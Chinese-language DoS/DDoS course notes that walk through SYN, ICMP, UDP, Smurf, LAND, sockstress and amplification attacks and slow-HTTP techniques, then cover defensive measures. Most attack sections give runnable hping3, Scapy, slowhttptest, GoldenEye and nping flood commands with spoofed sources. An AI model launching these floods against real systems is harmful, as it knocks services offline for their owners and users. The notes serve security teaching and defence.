DoS拒绝服务
简介
DoS拒绝服务
利用程序漏洞或一对一资源耗尽的Denial of Service拒绝服务
DDoS分布式拒绝服务
一对一的攻击完全拼各自的资源,效果差
多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型
历史
以前:欠缺技术能力的无赖,我ping死你(最难缠的无赖)
现在:最强大最危险的攻击,攻击方式众多(专业化的要求勒索) 亲身经历:电商网站被勒索、Bill gates僵尸程序
贩卖和租用肉鸡已经成为黑产中重要的一部分
最终的办法就是拼资源,投资抗D,或者乖乖交保护费
分类
D网络
- 基于巨量的Flood耗尽目标网络带宽资源
如:ICMP Flood, UDP Flood
D协议
- 攻击协议漏洞发起的拒绝服务攻击
如:Syn Flood、Ping of Death、ARP、DNS、802.11、SSL
D应用
-
针对应用软件和操作系统漏洞发起的拒绝服务攻击
大量频繁访问消耗系统资源严重的应用(CC)
通常表现为操作系统运行正常,网络流量不大,
但服务停止响应
可以是一击毙命的,也可以是耗尽目标资源的
以上分类并不严谨,不必太过执着于此
为何会被DoS
从攻击者到被害者
网络->FW->服务器OS->服务应用
资源耗尽
网络:带宽
FW:吞吐量、并发连接、服务器 CPU、内存、I/O
应用:处理请求能力,对OS资源的使用权
程序漏洞攻击 、缓冲区溢出、协议、程序逻辑漏洞
拒绝服务实例
syn flood
-
常伴随ip欺骗
真正的攻击目标
Scapy
-i=IP()
-i.dst=1.1.1.1
-i.display()
-t=TCP()
-sr1(i/t,verbose=1,timeout=3)
-sr1(IP(dst=1.1.1.1)/TCP())-
攻击脚本:./syn_flood.py
//设置防火墙,丢弃rst数据包
-iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 1.1.1.1 -j DROP
-netstat -n I awk ‘/^ tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}‘
Windows系统默认半开连接数10个-
发一个包释放一个连接,这种达不到攻击郊果。要构成攻击效果可以通过iptables限止发送RST包。
这样就可以达到攻击郊果。iptables写法如下:
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.21.117 -j DROP
-
-
IP地址欺骗
-
经常用于DoS攻击
■根据IP头地址寻址 -伪造IP源地址
■边界路由器过滤
一入站、出战
■受害者可能是源、目的地址
■绕过基于地址的验证
■压力测试模拟多用户
■上层协议(TCP序列号)
Smurf攻击
-
世界上最古老的DDoS攻击技术
-向广播地址发送伪造源地址的ICMP echo Request (ping)包
-LAN所有计算机向伪造源地址返回响应包
-对现代操作系统几乎无效(不响应目标为广播的ping)- Scapy
-i=IP()
-i.dst=“1.1.1.255”
-p=ICMP()
-p.display()
-r=(i/p)
-send(IP(dst=“1.1.1.255”,src=“1.1.1.2”)/ICMP(),count=100,verbose=1)
- Scapy
sockstress攻击
-
2008年由 Jack C. Louis 发现,针对TCP服务的拒绝服务攻击
-消耗被攻击目标系统资源 -与攻击目标建立大量socket链接
-完成三次握手,最后的ACK包window大小为0 (客户端不接收数据) -攻击者资源消耗小(CPU、内存、带宽)
-异步攻击,单机可拒绝服务高配资源服务器
-Window窗-实现的TCP流控-
Python攻击脚本
./sicjstress.py 1.1.1.1 21 100
C攻击脚本
-https://github.com/defuse/sockstress
-gcc -Wall -c sockstress.c
-gcc -pthread -o sockstress sockstress.o
-./sockstress 1.1.1.1:80 eth0
-./sockstress 1.1.1.1:80 eth0 -p payloads/http
防火墙规则
-iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP-
攻击效果
-Netstat
-Free
-Top
-
-
-
Sockstress防范
- 防御措施
-直到今天sockstress攻击仍然是一种很有效的DoS攻击方式 -甶于建立完整的TCP三步握手,因此使用syn cookie防御无效 -根本的防御方法是采用白名单(不实际)
-折中对策:限制单位时间内每IP建的TCP连接数
■封杀每30秒与80端口建立连接超过10个的IP地址
■iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
■ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update -¬seconds 30 --hitcount 10 -j DROP
■以上规则对DDoS攻击无效
- 防御措施
TearDrop攻击
-
主要针对早期微软操作系统(95、98、3.x、nt)
-近些年有人发现对2.x版本的android系统、6.0 IOS系统攻击有效
原理很有趣
-使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
攻击效果
-被攻击者蓝屏、重启、卡死 -
Ping大包,比较正常分段与teardrop攻击流量的区别
■针对早期windows系统SMB协议的攻击(网上自行找脚本测试)
■针对Android、IOS系统的攻击(只针对低版本)
DNS放大攻击
-
■产生大流量的攻击方法
-单机的带宽优势
-巨大单机数量形成的流量汇聚
-利用协议特性实现放大效果的流量-
■ DNS协议放大效果
-查询请求流量小,但响应流量可能非常巨大
-digANYhp.com @202.106.0.20 (流量放大约8倍)- ■攻击原理
-伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
-DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS
- ■攻击原理
-
-
Scapy构造攻击数据包
IP/UDP/DNS/DNS查询内容-
结合IP地址欺骗,利用大量DNS服务器做傀儡攻击目标
-
SNMP放大攻击
-
■简单网络管理协议
-Simple Network Management Protocol
-服务端□ UDP 161 / 162
-管理站(manager /客户端)、被管理设备(agent /服务端)
-管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能 的数据,按照不同分类,包含分属不同组的多个数据对象
-每一个节点都有一个对象标识符(OID)来唯一的标识 -IETF定义便准的MIB库/厂家自定义MIB库 -
■攻击原理
-请求流量小,查询结果返回流量大 -结合伪造源地址实现攻击- 安装SNMP服务
-定义 community
- 安装SNMP服务
NTP放大攻击
-
网络时间协议
—Network Time Protocol
-保证网络设备时间同步
-电子设备互相干扰导致时钟差异越来越大
-影响应用正常运行、日志审计不可信
-服务端□ UDP 123-
攻击原理
-NTP服务提monlist (MON_GETLIST)查询功能
监控NTP服务器的状况
-客户端查询时,NTP服务器返回最后同步时间的600个客户端IP
每6个IP—个数据包,最多100个数据包(放大约100倍)- 发现NTP服务
—nmap -sU -p123 1.1.1.1
发现漏洞
—ntpdc -n -c monlist 1.1.1.1
—ntpq -c rv 1.1.1.1
- 发现NTP服务
-
-
ntpdc -c sysinfo 192.168.20.5
配置文件
-/etc/ntp.conf
restrict -4 default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery
NTP攻击对策
-升级到ntpd 4.2.7p26及以上的版本(默认关闭monlist查询) -手动关闭monlist查询功能-
应用层DoS
- Searchsploit ms12-020 这个命令是搜索kali下面相关漏洞利用工具
- 应用服务漏洞
-服务代码存在漏洞,遇异常提交数据时程序崩溃
-应用处理大量并发请求能力有限,被拒绝的是应用或OS
缓冲区溢出漏洞
-向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
-影响:远程代码执行、DoS
-利用模糊测试方法发现缓冲区溢出漏洞
CesarFTP 0.99 服务漏洞
-ftp_fuzz.py # MKD/RMD
MS12-020远程桌面协议DoS漏洞
- Slowhttptest (源自google)
-低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
-最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX) -尤其擅长攻击apache、tomcat (几乎百发百中)
攻击方法
-Slowloris、Slow HTTP POST 攻击
耗尽应用的并发连接池,类似于Http层的Syn flood
HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n…
Slow POST: HTTP头content-length声明长度,但body部分缓慢发送
- 攻击方法
-Slow Read attack攻击
与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
不同之处在于请求正常发送,但慢速读取响应数据
攻击者调整TCP window窗口大小,是服务器慢速返回数据
-Apache Range Header attack
客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
耗尽服务器CPU、内存资源
- ulimite -n 70000
HTTP Post攻击模式
—slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://1.1.1.1 -x 10 -p 3
slowloris攻击模式
-slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http:// 1.1.1.1 -x 24 -p 3
支持代理
大量应用服务器和安全设备都无法防护慢速攻击
邮件攻击
- 炸邮箱
使用垃圾邮件塞满邮箱
■无意识的/非故意的拒绝服务攻击
-数据库服务器宕机恢复后,引用队列大量请求洪水涌来
-告警邮件在邮件服务器修改地址后洪水攻击防火墙
拒绝服务攻击工具
RUDY
-
-慢速应用层HTTP POST攻击,与slowhttptest原理相同
-每次只传输一个字节的数据
-美剧“黑客军团”中曾提到此攻击手段
-攻击有表单WEB页面,攻击时需指定攻击的参数名称
-https://sourceforge.net/projects/r-u-dead-yet/-
详细说明请参考慢速攻击说明文档
-
RUDY攻击结果图
-
-
Hping3
-
-几乎可以定制发送任何TCP/IP数据包,用于测试FW、端口扫描、性能测试
Syn Flood 攻击
- -hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 1.1.1.1
- -hping3 -S -P -U -p 80 --flood --rand-source 1.1.1.1
- -hping3 -SARFUP -p 80 --flood --rand-source 1.1.1.1 (TCP Flood)
- –rand-source 用公网随机地址进行攻击
1.1.1.1 攻击目标
-a 2.2.2.2 伪造成2.2.2.2进行攻击
详细帮助文档:http://cnhotfire.blog.51cto.com/2042323/698362/
ICMP Flood 攻击
- -hping3 -q -n -a 1.1.1.1 --icmp -d 56 --flood 1.1.1.2
UDP Flood 攻击
- -hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2
LAND攻击
-
-特殊种类的SYN Flood攻击
-源地址、目的地址都是受害者,受害者于自己完成三次握手
—hping3 -n –a 1.1.1.1 -S -d 100 -p 80 –flood 1.1.1.1- LAND攻者是伪造的源地址和要攻击目标地址是同一个地址,也就是说自己与自己建立连接。
可用tcpdump –I eth0 –s 0 –vv查看
nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1
//–rate=100000 一次建10000个连接,-C是一共建1000000000连接。
- LAND攻者是伪造的源地址和要攻击目标地址是同一个地址,也就是说自己与自己建立连接。
TCP全链接DoS攻击
- —nping --tcp-connect --rate=10000 -c 1000000000 -q 1.1.1.1
查公网丨P
- —nping --echo-client “public” echo.nmap.org --udp
Siege
-
- http/https压力测试工具,模拟多个用户并发访问请求
-
siege -g http://1.1.1.1/a.php //扫描网站banner信息
-
siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp -vv
同时攻击多个url,使用-f调用字典文件 /etc/siege/urls.txt,也可以直接
编辑urls.txt把要攻击的地址放进去直接使用siege –i –c 1000 -vv就可以攻击- Siege攻击一般用作并发量、性能测试,多用户并发访问测试。开发上线一般都会经过这步。
siege -i -c 1000 http://1.1.1.1/a.php -A siegehttp 10000用户并发, -A代表指纹信息,可随便填定。
- Siege攻击一般用作并发量、性能测试,多用户并发访问测试。开发上线一般都会经过这步。
T50网络压力测试
-
- t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
- t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22
Nmap
- -grep dos /usr/share/nmap/scripts/script.db |cut -d “”" -f 2
匿名者攻击工具
匿名者发布的DoS工具
–LOIC
– HOIC
—DDoSer
■招募志愿者发放以上工具
■以上DoS工具不隐藏真实IP地址
其它拒绝服务工具
XOIC
- -攻击任意IP地址的指定端口
— git clone git://git.code.sf.net/p/xoic/code xoic-code
— https://xoicdoser.wordpress.com/
— 三种模式:test、normal、DoS Attack
— 支持协议:TCP/HTTP/UDP/ICMP
HULK - Http Unbearable Load King
- -Python脚本
-随机产生大量唯一的地址请求,避免缓存命中 -耗尽WEB服务器资源池
https://packetstormsecurity.com/files/download/112856/hulk.zip
DDOSIM
- -7层拒绝服务工具(模拟多个僵尸机)
-随机IP地址 一基于TCP连接的攻击 -应用层DDoS攻击
-正常的HTTP请求、非正常的HTTP请求式DDoS -SMTP DDoS
-随机端口的TCP连接洪水
GoldenEye
-
-http/https拒绝服务攻击工具
-安全研究为目的Python脚本
-随机攻击向量,keep-alive,避免缓存命中
—wget https://github.com/jseidl/GoldenEye/archive/master.zip
—./goldeneye.py http://1.1.1.1 -w 50
-unzip master.zip- goldeneye.py http://1.1.1.1 -w 50 –m random //-w 50 代表50个人 ,-s 500代表每个人500个,50*500打25000个链接。
拒绝服务防护
定期扫描和加固自身业务设备
- 定期扫描现有的网络主节点及主机,清查可能存在的安全漏洞和不规范的安全配置,对新出现的漏洞及时进行清理,对于需要加强安全配置的参数进行加固
确保资源冗余,提升耐打能力
- 建立多节点负载均衡,配备多线路高带宽,配备强大的运算能力,借此“吸收”DDoS攻击
服务最小化,关停不必要的服务和端口
- 关停不必要的服务和端口,实现服务最小化,例如WWW服务器只开放80而将其它所有端口关闭或在防火墙上做阻止策略。可大大减少被与服务不相关的攻击所影响的概率
选择专业的产品和服务
- 三分产品技术,七分设计服务,除了防护产品本身的功能、性能、稳定性,易用性等方面,还需要考虑防护产品厂家的技术实力,服务和支持能力,应急经验等
多层监控、纵深防御
- 从骨干网络、IDC入口网络的BPS、PPS、协议分布,负载均衡层的新建连接数、并发连接数、BPS、PPS到主机层的CPU状态、TCP新建连接数状态、TCP并发连接数状态,到业务层的业务处理量、业务连通性等多个点部署监控系统。即使一个监控点失效,其他监控点也能够及时给出报警信息。多个点信息结合,准确判断被攻击目标和攻击手法
完备的防御组织
- 囊括到足够全面的人员,至少包含监控部门、运维部门、网络部门、安全部门、客服部门、业务部门等,所有人员都需要2-3个备份
明确并执行应急流程
- 提前演练,应急流程启动后,除了人工处理,还应该包含一定的自动处理、半自动处理能力。例如自动化的攻击分析,确定攻击类型,自动化、半自动化的防御策略,在安全人员到位之前,最先发现攻击的部门可以做一些缓解措施
特别防护分类
对DDoS防御,主要的工作是幕后积累。没有充分的资源准备,没有足够的应急演练,没有丰富的处理经验,DDoS攻击将会造成灾难性的后果。
-
本地第一层DDoS防护
- 守住自家门口,在本地网络边界上部署抗DDoS设备,在出口带宽未堵塞的情况下,尽可能处理掉非带宽占用型的DDoS攻击:如SYN Flood、HTTP GET、DNS攻击、慢速攻击等
-
云端第二层DDoS防护
- 当攻击流量超过本地出口带宽和DDoS防护设备处理能力是,采用上游运营商或MSSP提供的云端清洗服务
-
源端第三层DDoS防护
- 如果攻击的强度连上游运营商和MSSP也无法承受,必须考虑横向多方合作,在各自的控制范围内抑制本网发出的攻击流量
DDoS多层防御结构
静态/动态过滤
ACL过滤
TCP协议过滤
- 客户端真实性检测
Cookie验证
重传验证
TCP反弹验证
- 特征识别
网络层特征
传输层特征
应用层特征
自定义特征
- 应用层分析
HTTP get攻击
DNS Query攻击
- 限速
源IP限速
目的IP限速
应用层信息限速
ADS流量清晰工作原理
Anonymous 匿名者
世界最著名的黑客组织,组织结构宽松,人员来自世界各地。以DDoS攻击著称的无政府主义者 -亦正亦邪,攻击恐怖组织也攻击政府宗教机构 ,近些年来涉足政治斗争,成员露面时均带有Guy Fawkes面具,最早的核心成员来自4chan图片社区 ,惯常雇佣外围黑客成员发动DDoS攻击
口号
-We are Anonymous,
We are a Legion,
We do not forgive,
We do not forget,
Expect us